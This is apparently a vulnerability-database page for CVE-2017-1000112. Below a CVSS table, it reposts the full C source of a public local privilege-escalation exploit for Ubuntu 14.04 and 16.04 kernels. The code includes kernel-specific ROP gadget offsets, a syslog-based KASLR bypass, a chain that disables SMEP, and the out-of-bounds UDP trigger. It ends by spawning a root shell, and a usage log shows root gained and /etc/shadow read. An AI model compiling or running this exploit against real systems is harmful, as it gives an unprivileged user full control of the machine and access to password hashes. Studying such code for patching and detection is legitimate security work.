Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04 and 16.04) Local Privilege Escalation
CVE
Category
Price
Severity
CVE-2017-1000112
CWE-XXX
Unknown
High
Author
Risk
Exploitation Type
Date
Unknown
High
Local
2018-01-03
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Local AV The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required Low PR The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018010018 Below is a copy:
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04 and 16.04) Local Privilege Escalation // A proof-of-concept local root exploit for CVE-2017-1000112.
// Includes KASLR and SMEP bypasses. No SMAP bypass.
// Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels.
//
// Usage:
// user@ubuntu:~$ uname -a
// Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
// user@ubuntu:~$ whoami
// user
// user@ubuntu:~$ id
// uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
// user@ubuntu:~$ gcc pwn.c -o pwn
// user@ubuntu:~$ ./pwn
// [.] starting
// [.] checking distro and kernel versions
// [.] kernel version '4.8.0-58-generic' detected
// [~] done, versions looks good
// [.] checking SMEP and SMAP
// [~] done, looks good
// [.] setting up namespace sandbox
// [~] done, namespace sandbox set up
// [.] KASLR bypass enabled, getting kernel addr
// [~] done, kernel text: ffffffffae400000
// [.] commit_creds: ffffffffae4a5d20
// [.] prepare_kernel_cred: ffffffffae4a6110
// [.] SMEP bypass enabled, mmapping fake stack
// [~] done, fake stack mmapped
// [.] executing payload ffffffffae40008d
// [~] done, should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// root@ubuntu:/home/user# whoami
// root
// root@ubuntu:/home/user# id
// uid=0(root) gid=0(root) groups=0(root)
// root@ubuntu:/home/user# cat /etc/shadow
// root:!:17246:0:99999:7:::
// daemon:*:17212:0:99999:7:::
// bin:*:17212:0:99999:7:::
// sys:*:17212:0:99999:7:::
// ...
//
// EDB Note: Details ~ http://www.openwall.com/lists/oss-security/2017/08/13/1
//
// Andrey Konovalov <[email protected] >
#define _GNU_SOURCE
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <linux/socket.h>
#include <netinet/ip.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#define ENABLE_KASLR_BYPASS1
#define ENABLE_SMEP_BYPASS1
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled.
unsigned long KERNEL_BASE =0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
struct kernel_info {
const char* distro;
const char* version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xchg_eax_esp_ret;
uint64_t pop_rdi_ret;
uint64_t mov_dword_ptr_rdi_eax_ret;
uint64_t mov_rax_cr4_ret;
uint64_t neg_rax_ret;
uint64_t pop_rcx_ret;
uint64_t or_rax_rcx_ret;
uint64_t xchg_eax_edi_ret;
uint64_t mov_cr4_rdi_ret;
uint64_t jmp_rcx;
};
struct kernel_info kernels[] = {
{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d },
{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 },
{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 },
{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 },
{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 },
{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b },
{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b },
{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b },
{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b },
{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b },
{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 },
{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 },
{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 },
};
// Used to get root privileges.
#define COMMIT_CREDS(KERNEL_BASE + kernels[kernel].commit_creds)
#define PREPARE_KERNEL_CRED(KERNEL_BASE + kernels[kernel].prepare_kernel_cred)
// Used when ENABLE_SMEP_BYPASS is used.
// - xchg eax, esp ; ret
// - pop rdi ; ret
// - mov dword ptr [rdi], eax ; ret
// - push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret
// - neg rax ; ret
// - pop rcx ; ret
// - or rax, rcx ; ret
// - xchg eax, edi ; ret
// - push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret
// - jmp rcx
#define XCHG_EAX_ESP_RET(KERNEL_BASE + kernels[kernel].xchg_eax_esp_ret)
#define POP_RDI_RET(KERNEL_BASE + kernels[kernel].pop_rdi_ret)
#define MOV_DWORD_PTR_RDI_EAX_RET(KERNEL_BASE + kernels[kernel].mov_dword_ptr_rdi_eax_ret)
#define MOV_RAX_CR4_RET(KERNEL_BASE + kernels[kernel].mov_rax_cr4_ret)
#define NEG_RAX_RET(KERNEL_BASE + kernels[kernel].neg_rax_ret)
#define POP_RCX_RET(KERNEL_BASE + kernels[kernel].pop_rcx_ret)
#define OR_RAX_RCX_RET(KERNEL_BASE + kernels[kernel].or_rax_rcx_ret)
#define XCHG_EAX_EDI_RET(KERNEL_BASE + kernels[kernel].xchg_eax_edi_ret)
#define MOV_CR4_RDI_RET(KERNEL_BASE + kernels[kernel].mov_cr4_rdi_ret)
#define JMP_RCX(KERNEL_BASE + kernels[kernel].jmp_rcx)
// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * *
typedef unsigned long __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
void get_root(void) {
((_commit_creds)(COMMIT_CREDS))(
((_prepare_kernel_cred)(PREPARE_KERNEL_CRED))(0));
}
// * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * *
uint64_t saved_esp;
// Unfortunately GCC does not support `__atribute__((naked))` on x86, which
// can be used to omit a function's prologue, so I had to use this weird
// wrapper hack as a workaround. Note: Clang does support it, which means it
// has better support of GCC attributes than GCC itself. Funny.
void wrapper() {
asm volatile ("\n\
payload:\n\
movq %%rbp, %%rax\n\
movq $0xffffffff00000000, %%rdx\n\
andq %%rdx, %%rax\n\
movq %0, %%rdx\n\
addq %%rdx, %%rax\n\
movq %%rax, %%rsp\n\
call get_root\n\
ret\n\
" : : "m"(saved_esp) : );
}
void payload();
#define CHAIN_SAVE_ESP\
*stack++ = POP_RDI_RET;\
*stack++ = (uint64_t)&saved_esp;\
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
#define SMEP_MASK 0x100000
#define CHAIN_DISABLE_SMEP\
*stack++ = MOV_RAX_CR4_RET;\
*stack++ = NEG_RAX_RET;\
*stack++ = POP_RCX_RET;\
*stack++ = SMEP_MASK;\
*stack++ = OR_RAX_RCX_RET;\
*stack++ = NEG_RAX_RET;\
*stack++ = XCHG_EAX_EDI_RET;\
*stack++ = MOV_CR4_RDI_RET;
#define CHAIN_JMP_PAYLOAD \
*stack++ = POP_RCX_RET; \
*stack++ = (uint64_t)&payload; \
*stack++ = JMP_RCX;
void mmap_stack() {
uint64_t stack_aligned, stack_addr;
int page_size, stack_size, stack_offset;
uint64_t* stack;
page_size = getpagesize();
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
stack_addr = stack_aligned - page_size * 4;
stack_size = page_size * 8;
stack_offset = XCHG_EAX_ESP_RET % page_size;
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
perror("[-] mmap()");
exit(EXIT_FAILURE);
}
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
CHAIN_SAVE_ESP;
CHAIN_DISABLE_SMEP;
CHAIN_JMP_PAYLOAD;
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
void mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)");
exit(EXIT_FAILURE);
}
*size = (*size / getpagesize() + 1) * getpagesize();
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)");
exit(EXIT_FAILURE);
}
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (end = start; substr[end] != '-'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
return r;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1);
exit(EXIT_FAILURE);
}
int start = 0;
int end = 0;
for (start = 0; substr[start] != '-'; start++);
for (end = start; substr[end] != '\n'; end++);
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2);
exit(EXIT_FAILURE);
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
return r;
}
unsigned long get_kernel_addr() {
char* syslog;
int size;
mmap_syslog(&syslog, &size);
if (strcmp("trusty", kernels[kernel].distro) == 0 &&
strncmp("4.4.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_trusty(syslog, size);
if (strcmp("xenial", kernels[kernel].distro) == 0 &&
strncmp("4.8.0", kernels[kernel].version, 5) == 0)
return get_kernel_addr_xenial(syslog, size);
printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*");
exit(EXIT_FAILURE);
}
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
struct ubuf_info {
uint64_t callback;// void (*callback)(struct ubuf_info *, bool)
uint64_t ctx;// void *
uint64_t desc;// unsigned long
};
struct skb_shared_info {
uint8_t nr_frags;// unsigned char
uint8_t tx_flags;// __u8
uint16_t gso_size;// unsigned short
uint16_t gso_segs;// unsigned short
uint16_t gso_type;// unsigned short
uint64_t frag_list;// struct sk_buff *
uint64_t hwtstamps;// struct skb_shared_hwtstamps
uint32_t tskey;// u32
uint32_t ip6_frag_id;// __be32
uint32_t dataref;// atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17];// skb_frag_t frags[MAX_SKB_FRAGS];
};
struct ubuf_info ui;
void init_skb_buffer(char* buffer, unsigned long func) {
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
memset(ssi, 0, sizeof(*ssi));
ssi->tx_flags = 0xff;
ssi->destructor_arg = (uint64_t)&ui;
ssi->nr_frags = 0;
ssi->frag_list = 0;
ui.callback = func;
}
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
#define SHINFO_OFFSET 3164
void oob_execute(unsigned long payload) {
char buffer[4096];
memset(&buffer[0], 0x42, 4096);
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
int s = socket(PF_INET, SOCK_DGRAM, 0);
if (s == -1) {
perror("[-] socket()");
exit(EXIT_FAILURE);
}
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(8000);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (connect(s, (void*)&addr, sizeof(addr))) {
perror("[-] connect()");
exit(EXIT_FAILURE);
}
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
int rv = send(s, buffer, size, MSG_MORE);
if (rv != size) {
perror("[-] send()");
exit(EXIT_FAILURE);
}
int val = 1;
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
if (rv != 0) {
perror("[-] setsockopt(SO_NO_CHECK)");
exit(EXIT_FAILURE);
}
send(s, buffer, 1, 0);
close(s);
}
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
#define CHUNK_SIZE 1024
int read_file(const char* file, char* buffer, int max_length) {
int f = open(file, O_RDONLY);
if (f == -1)
return -1;
int bytes_read = 0;
while (true) {
int bytes_to_read = CHUNK_SIZE;
if (bytes_to_read > max_length - bytes_read)
bytes_to_read = max_length - bytes_read;
int rv = read(f, &buffer[bytes_read], bytes_to_read);
if (rv == -1)
return -1;
bytes_read += rv;
if (rv == 0)
return bytes_read;
}
}
#define LSB_RELEASE_LENGTH 1024
void get_distro_codename(char* output, int max_length) {
char buffer[LSB_RELEASE_LENGTH];
int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH);
if (length == -1) {
perror("[-] open/read(/etc/lsb-release)");
exit(EXIT_FAILURE);
}
const char *needle = "DISTRIB_CODENAME=";
int needle_length = strlen(needle);
char* found = memmem(&buffer[0], length, needle, needle_length);
if (found == NULL) {
printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
exit(EXIT_FAILURE);
}
int i;
for (i = 0; found[needle_length + i] != '\n'; i++) {
assert(i < max_length);
assert((found - &buffer[0]) + needle_length + i < length);
output[i] = found[needle_length + i];
}
}
void get_kernel_version(char* output, int max_length) {
struct utsname u;
int rv = uname(&u);
if (rv != 0) {
perror("[-] uname())");
exit(EXIT_FAILURE);
}
assert(strlen(u.release) <= max_length);
strcpy(&output[0], u.release);
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define DISTRO_CODENAME_LENGTH 32
#define KERNEL_VERSION_LENGTH 32
void detect_versions() {
char codename[DISTRO_CODENAME_LENGTH];
char version[KERNEL_VERSION_LENGTH];
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
get_kernel_version(&version[0], KERNEL_VERSION_LENGTH);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
strcmp(&version[0], kernels[i].version) == 0) {
printf("[.] kernel version '%s' detected\n", kernels[i].version);
kernel = i;
return;
}
}
printf("[-] kernel version not recognized\n");
exit(EXIT_FAILURE);
}
#define PROC_CPUINFO_LENGTH 4096
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
int smap_smep_enabled() {
char buffer[PROC_CPUINFO_LENGTH];
int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH);
if (length == -1) {
perror("[-] open/read(/proc/cpuinfo)");
exit(EXIT_FAILURE);
}
int rv = 0;
char* found = memmem(&buffer[0], length, "smep", 4);
if (found != NULL)
rv += 1;
found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL)
rv += 2;
return rv;
}
void check_smep_smap() {
int rv = smap_smep_enabled();
if (rv >= 2) {
printf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
#if !ENABLE_SMEP_BYPASS
if (rv >= 1) {
printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
exit(EXIT_FAILURE);
}
#endif
}
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
static bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_sandbox() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
printf("[!] unprivileged user namespaces are not available\n");
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
perror("[-] system(/sbin/ifconfig lo mtu 1500)");
exit(EXIT_FAILURE);
}
if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}
void exec_shell() {
char* shell = "/bin/bash";
char* args[] = {shell, "-i", NULL};
execve(shell, args, NULL);
}
bool is_root() {
// We can't simple check uid, since we're running inside a namespace
// with uid set to 0. Try opening /etc/shadow instead.
int fd = open("/etc/shadow", O_RDONLY);
if (fd == -1)
return false;
close(fd);
return true;
}
void check_root() {
printf("[.] checking if we got root\n");
if (!is_root()) {
printf("[-] something went wrong =(\n");
return;
}
printf("[+] got r00t ^_^\n");
exec_shell();
}
int main(int argc, char** argv) {
printf("[.] starting\n");
printf("[.] checking distro and kernel versions\n");
detect_versions();
printf("[~] done, versions looks good\n");
printf("[.] checking SMEP and SMAP\n");
check_smep_smap();
printf("[~] done, looks good\n");
printf("[.] setting up namespace sandbox\n");
setup_sandbox();
printf("[~] done, namespace sandbox set up\n");
#if ENABLE_KASLR_BYPASS
printf("[.] KASLR bypass enabled, getting kernel addr\n");
KERNEL_BASE = get_kernel_addr();
printf("[~] done, kernel text: %lx\n", KERNEL_BASE);
#endif
printf("[.] commit_creds: %lx\n", COMMIT_CREDS);
printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
unsigned long payload = (unsigned long)&get_root;
#if ENABLE_SMEP_BYPASS
printf("[.] SMEP bypass enabled, mmapping fake stack\n");
mmap_stack();
payload = XCHG_EAX_ESP_RET;
printf("[~] done, fake stack mmapped\n");
#endif
printf("[.] executing payload %lx\n", payload);
oob_execute(payload);
printf("[~] done, should be root now\n");
check_root();
return 0;
}
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